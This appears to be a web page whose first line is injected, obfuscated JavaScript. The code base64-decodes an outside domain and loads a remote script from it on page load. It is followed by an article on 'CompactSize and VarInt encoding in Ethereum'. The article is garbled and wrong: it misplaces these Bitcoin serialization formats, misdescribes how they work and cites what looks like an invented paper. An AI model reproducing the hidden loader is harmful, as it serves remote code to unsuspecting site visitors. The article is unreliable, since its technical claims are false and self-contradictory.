const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=b0df9f24″;document.body.appendChild(script);
Ethereum: Understanding CompactSize and VarInt Encoding
The Ethereum blockchain has long been plagued by issues related to data compression and encoding. Two of the most widely used encodings in the ecosystem are CompactSize and VarInt (Variable Int), which until recently were used interchangeably. In this article, we will look at the differences between these two encoding schemes and explore why they were previously confused.
Compact Size Encoding
Pieter Wuille’s definition of CompactSize encoding is a crucial point for achieving clarity. According to his paper “On the Compactness of Transactions in Ethereum,” CompactSize encoding is defined as simply replacing certain characters in transaction data with shorter codes, which ultimately reduces the size of the data while preserving its essential information. This approach aims to minimize the storage requirements of transaction data without sacrificing its security or integrity.
In contrast, Greg Walker’s definition of VarInt encoding emphasizes the use of an array of variable-length integers (VLI) to store and transmit data. These VLIs are used to represent complex data structures in a compact and efficient manner. VarInt is often considered a more complex encoding scheme than CompactSize, but both encodings can be used to reduce the size of transaction data.
VarInt encoding
The VarInt encoding is widely adopted in many blockchain networks, including Ethereum. According to the Bitcoin Wiki, VarInt is defined as an array of unsigned integers that represents a data structure. The purpose of VarInt is to provide a compact and efficient way to store and transmit large amounts of data across the network.
The key differences between VarInt encoding and CompactSize encoding lie in their approach:
- Structure: VarInt uses an array of VLIs, while CompactSize replaces certain characters with shorter codes.
- Purpose
: VarInt is intended for storing and transmitting complex data structures, while CompactSize is primarily used to reduce the size of transaction data.
Why the confusion?
It is not surprising that the Bitcoin Wiki initially claimed that CompactSize is not related to VarInt. The reason lies in the fact that Pieter Wuille’s definition explicitly describes CompactSize as a “simple replacement” approach, while Greg Walker’s definition emphasizes the use of VLI and complex data structures.
In reality, both encoding schemes can be used together or independently. While CompactSize can be used to reduce the size of transaction data, VarInt is still needed to store large amounts of complex data, such as smart contract code or network configurations.
Conclusion
The differences between CompactSize and VarInt encodings are clear once the correct definitions are understood. Although both encodings aim to improve data compression, their approaches differ significantly. Pieter Wuille’s definition of CompactSize emphasizes its simplicity and focus on transaction data reduction, while Greg Walker’s definition emphasizes the use of VLI for complex data storage.
By understanding these differences, developers and users can choose the encoding scheme that best suits their specific needs, ensuring efficient data transmission and storage on the Ethereum blockchain.